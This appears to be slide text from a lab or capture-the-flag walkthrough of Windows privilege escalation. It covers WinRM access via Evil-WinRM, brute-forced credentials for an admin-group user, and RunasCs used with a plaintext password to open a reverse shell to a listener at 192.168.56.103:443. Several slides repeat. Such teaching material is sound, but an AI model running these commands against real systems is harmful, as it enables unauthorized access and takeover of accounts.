

# WinRM Service

```
Enter-PSSession -ComputerName 192.168.56.103 -Credential theshyhat
```

The Windows Remote Management (WinRM) service provides PowerShell terminal access to a Windows server

# WinRM Service

```
Enter-PSSession -ComputerName 192.168.56.103 -Credential theshyhat
```

WinRM access is usually limited to administrator-level users, but it's not guaranteed

# WinRM Service

```
└─$ evil-winrm -i 192.168.56.115 -u "nica" -p "password"

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby
ction_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: http
rs/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nica\Documents> 
```

The typical method of access WinRM is through a PowerShell terminal, but Linux users can use the Evil-WinRM program to interact with the service

# Privilege Escalation

## Brute Forced Admin Creds

```
*Evil-WinRM* PS C:\Users\nica\Documents> .\RunasCs.exe akanksha sweetgirl cmd.exe  
-r 192.168.56.103:443
```

We were able to discover another user account on the system, and through brute force password attack, determined their password

# Privilege Escalation

## Brute Forced Admin Creds

```
[ - ] WIN-IURF14RBVGV\akanksha:turkey STATUS_LOGON_FAILURE  
[ + ] WIN-IURF14RBVGV\akanksha:123456789
```

We were able to discover another user account on the system, and through brute force password attack, determined their password

# Privilege Escalation

## Brute Forced Admin Creds

```
Miembros del grupo local      *Idministritirs
                               *Usuarios
Miembros del grupo global     *Ninguno
Se ha completado el comando correctamente.
```

When we looked up that user's privileges on the system, we discover that they're in the Administrator's group

# Privilege Escalation

## Brute Forced Admin Creds

```
Miembros del grupo local      *Idministritirs
                               *Usuarios
Miembros del grupo global     *Ninguno
Se ha completado el comando correctamente.
```

If we can gain shell access as this user, we've effectively rooted this system

# Runas Program

```
PS C:\Users\shyhat> runas /user:shyhat cmd.exe
Enter the password for shyhat:
Attempting to start cmd.exe as user "shyhat\shyhat"
PS C:\Users\shyhat>
```

If we are limited to CLI access, there are only certain types of user accounts we can use for remote access



# Runas Program

```
PS C:\Users\shyhat> runas /user:shyhat cmd.exe
Enter the password for shyhat:
Attempting to start cmd.exe as user "C:\Users\shyhat\shyhat"
PS C:\Users\shyhat>
```

One workaround is to use the Windows Runas command, which allows commands to be run on the system in the context of another user

# Runas Program

```
*Evil-WinRM* PS C:\Users\nica\Documents> runas /user:akanksha cmd.exe  
Escriba la contraseña para akanksha:  
*Evil-WinRM* PS C:\Users\nica\Documents> runas /user:akanksha cmd.exe  
Escriba la contraseña para akanksha:
```

However, there are limitations to the Runas commands as well, because it requires interactive password input, which isn't always possible

# Alternative - RunasCs

```
*Evil-WinRM* PS C:\Users\nica\Documents> .\RunasCs.exe akanksha sweetgirl cmd.exe  
-r 192.168.56.103:443
```

An alternative is the RunasCs program, which was created with these kinds of circumstances in mind

# Alternative - RunasCs

```
*Evil-WinRM* PS C:\Users\nica\Documents> .\RunasCs.exe akanksha sweetgirl cmd.exe  
-r 192.168.56.103:443
```

If we can use RunasCs, then we can create a reverse shell connection with any user if we have their credentials

# Alternative - RunasCs

```
*Evil-WinRM* PS C:\Users\nica\Documents> .\RunasCs.exe akanksha sweetgirl cmd.exe  
-r 192.168.56.103:443
```

If we can use RunasCs, then we can create a reverse shell connection with any user if we have their credentials